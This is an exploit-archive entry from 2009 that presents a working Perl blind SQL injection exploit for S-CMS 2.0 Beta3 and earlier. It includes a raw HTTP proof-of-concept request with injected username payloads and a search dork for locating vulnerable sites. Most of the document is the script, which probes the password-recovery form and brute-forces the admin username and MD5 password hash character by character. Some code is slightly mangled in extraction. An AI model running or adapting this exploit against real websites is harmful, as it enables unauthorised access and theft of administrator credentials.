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securityvulnsSecurityvulnsSECURITYVULNS:DOC:22025
HistoryJun 14, 2009 - 12:00 a.m.

(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3-->

2009-06-1400:00:00
vulners.com
63

#!/usr/bin/perl

#------------------------------------------------------------------------
#(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3–>
#------------------------------------------------------------------------

#CMS INFORMATION:

#–>WEB: http://www.matteoiammarrone.com/public/s-cms/
#–>DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/
#–>DEMO: N/A
#–>CATEGORY: CMS / Portal
#–>DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins,

blocks and permission system.

#–>RELEASED: 2009-05-25

#CMS VULNERABILITY:

#–>TESTED ON: firefox 3
#–>DORK: "S-CMS by matteoiamma"
#–>CATEGORY: BLIND SQLi exploit
#–>AFFECT VERSION: <= 2.0-Beta3
#–>Discovered Bug date: 2009-05-25
#–>Reported Bug date: 2009-05-25
#–>Fixed bug date: 2009-05-28
#–>Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
#–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#------------
#CONDITIONS:
#------------

#magic quotes=OFF

#{db_prefix} by default=cms

#-------
#NEED:
#-------

#Valid username

#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------

#POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost

#username=pepe%27+or+1%3D%271&recupera_pass=Recover+password –> OK, sending code

#username=pepe%27+or+1%3D%270&recupera_pass=Recover+password –> Uhm?, username doesn't exist

#--------------
#WATCH VIDEOS
#--------------

BSQLi –> http://www.youtube.com/watch?v=oVYrVcfA6Vo

SQLi –> http://www.youtube.com/watch?v=S__l5IKzYNU

–> http://www.youtube.com/watch?v=LprQDdZ6ZcU

LFI –> http://www.youtube.com/watch?v=2NhaNFbyP_w

#######################################################################
#######################################################################
##*******************************************************************##

SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 …

####
##-------------------------------------------------------------------##
##
##

GREETZ TO: SPANISH H4ck3Rs community!

##*******************************************************************##
#######################################################################
#######################################################################

use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$request = HTTP::Request -> new(POST => $[0]);
$request->referer($
[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($[1]);
my $outcode= $userag->request($request)->as_string;
#print $outcode; #–> Active this line for debugger mode
#print $request->as_string; #–> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t—>Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t3.-Bad username.\n";
print "\t\t4.-db_prefix isn't 'cms'.\n";
print "\t\t5.-Magic quotes ON'.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit…\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
print "\n\t[!!!] S-CMS V-2.0 Beta3 Blind SQL Injection Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH] [USER]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] [USER]: Username for fish\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo' 'y3nh4ck3r'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
my
$blindsql="username=".$
[1]."'+AND+(SELECT+length(username)+FROM+cms_users+WHERE+uid=1)='".$i++."&recupera_pass=Recover+password";
#injected code
$output=&request($[0],$blindsql);
if($output =~ (/\<center\>Generate a confirmation code that was sent via email\.\<\/center\>/)){
$exit=1;
}else{
$exit=0;
}
#This is the max length of username
if($i>50){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username –> ".$length."\n";
print "\tWait several minutes…\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$
[1]) && ($z<=126)){
my
$blindsql="username=".$[3]."'+AND+ascii(substring((SELECT+".$[2]."+FROM+cms_users+WHERE+uid=1),".$k.",1))='".$z."&recupera_pass=Recover+password";
$output=&request($_[0],$blindsql);
if($output =~ (/\<center\>Generate a confirmation code that was sent via email.\<\/center\>/))
{
$values=$values.chr($z);
$k++;
$z=45;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## S-CMS V-2.0 Beta3 Blind SQL Injection Exploit ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## ++Needed: Valid username (USER) ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $userforfish=$ARGV[2];
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/plugin.php?page=your_account.php&mode=passlost";
$finalrequest = $finalhost;
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=".$userforfish."%27+or+1%3D%271&recupera_pass=Recover+password";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=".$userforfish."%27+or+1%3D%270&recupera_pass=Recover+password";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$userforfish);
#Bruteforcing username…
$user=&exploiting($finalrequest,$length_user,'username',$userforfish);
#Bruteforcing password md5 hash…
$pwhash=&exploiting($finalrequest,32,'password',$userforfish);
#final checking
if((!$user) || (!$pwhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done